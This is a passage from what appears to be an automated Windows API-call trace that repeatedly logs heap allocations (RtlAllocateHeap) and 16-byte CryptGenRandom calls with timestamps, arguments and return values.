0x36229a8 [0236.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3f78 [0236.283] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36680fc | out: pbBuffer=0x36680fc) returned 1 [0236.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0236.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0236.284] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36686ec | out: pbBuffer=0x36686ec) returned 1 [0236.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0236.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0236.284] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668e94 | out: pbBuffer=0x3668e94) returned 1 [0236.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0236.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0236.284] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668df4 | out: pbBuffer=0x3668df4) returned 1 [0236.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0236.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0236.285] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668ee4 | out: pbBuffer=0x3668ee4) returned 1 [0236.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0236.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0236.285] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36686c4 | out: pbBuffer=0x36686c4) returned 1 [0236.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0236.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0236.286] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668264 | out: pbBuffer=0x3668264) returned 1 [0236.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0236.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0236.286] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668084 | out: pbBuffer=0x3668084) returned 1 [0236.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0236.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0236.287] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668f5c | out: pbBuffer=0x3668f5c) returned 1 [0236.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0236.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0236.287] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36685d4 | out: pbBuffer=0x36685d4) returned 1 [0236.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0236.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0236.287] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668fd4 | out: pbBuffer=0x3668fd4) returned 1 [0236.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0236.288] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0236.301] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347150c | out: pbBuffer=0x347150c) returned 1 [0236.302] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3130674 | out: pbBuffer=0x3130674) returned 1 [0236.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0236.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3f78 [0236.420] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366828c | out: pbBuffer=0x366828c) returned 1 [0236.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0236.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0236.436] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x34716ec | out: pbBuffer=0x34716ec) returned 1 [0236.436] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0236.436] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0236.442] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x34719e4 | out: pbBuffer=0x34719e4) returned 1 [0236.449] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668804 | out: pbBuffer=0x3668804) returned 1 [0236.449] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0236.449] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0236.452] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668da4 | out: pbBuffer=0x3668da4) returned 1 [0236.452] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0236.452] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0236.462] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36685fc | out: pbBuffer=0x36685fc) returned 1 [0236.463] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0236.463] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0236.467] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668944 | out: pbBuffer=0x3668944) returned 1 [0236.467] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0236.467] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 [0236.470] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36681c4 | out: pbBuffer=0x36681c4) returned 1 [0236.470] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0236.470] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0236.474] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366891c | out: pbBuffer=0x366891c) returned 1 [0236.474] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0236.474] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3f78 [0236.478] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668d54 | out: pbBuffer=0x3668d54) returned 1 [0236.478] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0236.478] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4a30 [0236.482] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668ebc | out: pbBuffer=0x3668ebc) returned 1 [0236.482] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0236.482] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0236.485] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b9c | out: pbBuffer=0x3668b9c) returned 1 [0236.485] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0236.485] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0236.490] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36687b4 | out: pbBuffer=0x36687b4) returned 1 [0236.490] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0236.490] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0236.492] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366864c | out: pbBuffer=0x366864c) returned 1 [0236.497] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668bec | out: pbBuffer=0x3668bec) returned 1 [0236.497] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0236.497] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3f78 [0236.543] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366882c | out: pbBuffer=0x366882c) returned 1 [0236.543] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0236.548] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36684bc | out: pbBuffer=0x36684bc) returned 1 [0236.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0236.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0236.554] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36689bc | out: pbBuffer=0x36689bc) returned 1 [0236.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0236.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0236.558] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668584 | out: pbBuffer=0x3668584) returned 1 [0236.561] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668ad4 | out: pbBuffer=0x3668ad4) returned 1 [0236.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0236.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0236.565] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36682dc | out: pbBuffer=0x36682dc) returned 1 [0236.571] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668534 | out: pbBuffer=0x3668534) returned 1 [0236.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0236.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0236.574] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36682b4 | out: pbBuffer=0x36682b4) returned 1 [0236.574] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0236.574] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0236.578] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668cdc | out: pbBuffer=0x3668cdc) returned 1 [0236.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0236.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0236.609] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668a0c | out: pbBuffer=0x3668a0c) returned 1 [0236.609] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0236.609] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0236.612] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36681ec | out: pbBuffer=0x36681ec) returned 1 [0236.612] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0236.612] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a54e8 [0236.616] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668a34 | out: pbBuffer=0x3668a34) returned 1 [0236.616] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0236.616] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5670 [0236.622] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366846c | out: pbBuffer=0x366846c) returned 1 [0236.623] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0236.623] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 [0236.625] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36680d4 | out: pbBuffer=0x36680d4) returned 1 [0236.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0236.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0236.629] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36684e4 | out: pbBuffer=0x36684e4) returned 1 [0236.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0236.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a54e8 [0236.634] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36685ac | out: pbBuffer=0x36685ac) returned 1 [0236.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0236.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3f78 [0236.637] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668174 | out: pbBuffer=0x3668174) returned 1 [0236.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0236.641] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668f0c | out: pbBuffer=0x3668f0c) returned 1 [0236.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0236.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0236.655] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36683cc | out: pbBuffer=0x36683cc) returned 1 [0236.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0236.659] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668e44 | out: pbBuffer=0x3668e44) returned 1 [0236.665] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b74 | out: pbBuffer=0x3668b74) returned 1 [0236.665] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0236.665] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0236.668] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366805c | out: pbBuffer=0x366805c) returned 1 [0236.671] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36688cc | out: pbBuffer=0x36688cc) returned 1 [0236.671] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0236.671] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0236.675] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668c14 | out: pbBuffer=0x3668c14) returned 1 [0236.681] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36683f4 | out: pbBuffer=0x36683f4) returned 1 [0236.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0236.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 [0236.687] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366887c | out: pbBuffer=0x366887c) returned 1 [0236.687] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0236.687] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4a30 [0236.702] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b24 | out: pbBuffer=0x3668b24) returned 1 [0236.702] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0236.702] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0236.706] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366850c | out: pbBuffer=0x366850c) returned 1 [0236.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0236.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0236.709] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36680ac | out: pbBuffer=0x36680ac) returned 1 [0236.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0236.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0236.715] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668494 | out: pbBuffer=0x3668494) returned 1 [0236.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0236.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0236.740] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679624 | out: pbBuffer=0x3679624) returned 1 [0236.753] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367982c | out: pbBuffer=0x367982c) returned 1 [0236.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0236.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0237.002] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367941c | out: pbBuffer=0x367941c) returned 1 [0237.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3f78 [0237.015] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679944 | out: pbBuffer=0x3679944) returned 1 [0237.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0237.018] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679f84 | out: pbBuffer=0x3679f84) returned 1 [0237.022] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679214 | out: pbBuffer=0x3679214) returned 1 [0237.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0237.029] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367987c | out: pbBuffer=0x367987c) returned 1 [0237.031] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36796ec | out: pbBuffer=0x36796ec) returned 1 [0237.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0237.037] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679dcc | out: pbBuffer=0x3679dcc) returned 1 [0237.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0237.043] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36798a4 | out: pbBuffer=0x36798a4) returned 1 [0237.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0237.046] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679494 | out: pbBuffer=0x3679494) returned 1 [0237.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0237.077] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679b24 | out: pbBuffer=0x3679b24) returned 1 [0237.077] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.077] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0237.078] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36683a4 | out: pbBuffer=0x36683a4) returned 1 [0237.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4a30 [0237.079] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679b9c | out: pbBuffer=0x3679b9c) returned 1 [0237.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0237.079] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668cb4 | out: pbBuffer=0x3668cb4) returned 1 [0237.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0237.084] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3471624 | out: pbBuffer=0x3471624) returned 1 [0237.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0237.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0237.089] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3471764 | out: pbBuffer=0x3471764) returned 1 [0237.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.120] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679b74 | out: pbBuffer=0x3679b74) returned 1 [0237.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0237.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0237.126] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x34596c4 | out: pbBuffer=0x34596c4) returned 1 [0237.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0237.129] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679f5c | out: pbBuffer=0x3679f5c) returned 1 [0237.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0237.132] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679d04 | out: pbBuffer=0x3679d04) returned 1 [0237.136] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679084 | out: pbBuffer=0x3679084) returned 1 [0237.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0237.139] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x34719bc | out: pbBuffer=0x34719bc) returned 1 [0237.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0237.142] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679fd4 | out: pbBuffer=0x3679fd4) returned 1 [0237.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0237.145] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646ee4 | out: pbBuffer=0x3646ee4) returned 1 [0237.145] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.148] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x364605c | out: pbBuffer=0x364605c) returned 1 [0237.148] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.148] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0237.155] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367996c | out: pbBuffer=0x367996c) returned 1 [0237.155] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.155] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0237.160] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679804 | out: pbBuffer=0x3679804) returned 1 [0237.160] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.160] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0237.171] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662c64 | out: pbBuffer=0x3662c64) returned 1 [0237.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0237.175] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662d54 | out: pbBuffer=0x3662d54) returned 1 [0237.178] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36629e4 | out: pbBuffer=0x36629e4) returned 1 [0237.178] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.178] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 